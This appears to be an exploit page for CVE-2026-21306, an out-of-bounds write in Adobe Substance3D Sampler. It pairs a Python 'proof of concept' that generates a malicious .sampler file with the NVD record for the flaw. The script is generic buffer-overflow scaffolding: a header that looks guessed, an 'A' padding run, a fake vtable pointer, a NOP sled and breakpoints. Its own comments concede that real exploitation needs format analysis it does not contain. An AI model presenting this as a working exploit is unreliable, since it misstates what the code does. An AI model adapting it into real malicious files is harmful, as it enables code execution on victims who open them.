CVE-2026-21306

# CVE-2026-21306 PoC - Malicious file generator for Adobe Substance3D Sampler # This PoC demonstrates the structure needed to trigger the out-of-bounds write # Note: Actual exploit requires specific file format manipulation import struct import os def create_malicious_sampler_file(output_path): """ Generate a malicious file that could trigger CVE-2026-21306 in Adobe Substance3D Sampler <= 5.1.0 This is a proof-of-concept structure, actual exploitation requires specific binary manipulation based on file format analysis. """ # File header - typical image/3D file format header = b'S3DP' # Substance3D Sampler proprietary header # Version field - target version 5.1.0 or earlier version = b'\x05\x01\x00' # Crafted payload that triggers buffer overflow # The exact bytes depend on format analysis and ASLR bypass overflow_marker = b'A' * 0x1000 # Large payload to overflow buffer # Pointers that will be overwritten (example structure) fake_vtable = struct.pack('<Q', 0x4141414141414141) # Controlled pointer # Shellcode placeholder (will be executed if exploit succeeds) shellcode = b'\x90' * 64 # NOP sled shellcode += b'\xcc' * 16 # Breakpoint (for testing) # Metadata section metadata = b'CVE-2026-21306' # Combine all parts malicious_data = header + version + overflow_marker + fake_vtable + shellcode + metadata # Write the malicious file with open(output_path, 'wb') as f: f.write(malicious_data) print(f"[+] Malicious file created: {output_path}") print(f"[+] File size: {len(malicious_data)} bytes") print("[*] Note: Actual exploitation requires format-specific analysis") if __name__ == '__main__': output_file = 'CVE-2026-21306 malicious.sampler' create_malicious_sampler_file(output_file)

{"cve": {"id": "CVE-2026-21306", "sourceIdentifier": "[email protected]", "published": "2026-01-13T20:16:09.607", "lastModified": "2026-01-14T17:57:37.057", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Substance3D - Sampler versions 5.1.0 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}, {"lang": "es", "value": "Las versiones 5.1.0 y anteriores de Substance3D - Sampler están afectadas por una vulnerabilidad de escritura fuera de límites que podría resultar en ejecución de código arbitrario en el contexto del usuario actual. La explotación de este problema requiere interacción del usuario en el sentido de que la víctima debe abrir un archivo malicioso."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:substance_3d_sampler:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.1.3", "matchCriteriaId": "DF6DB8C7-8B88-4967-9449-BD45B0972B49"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-11.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}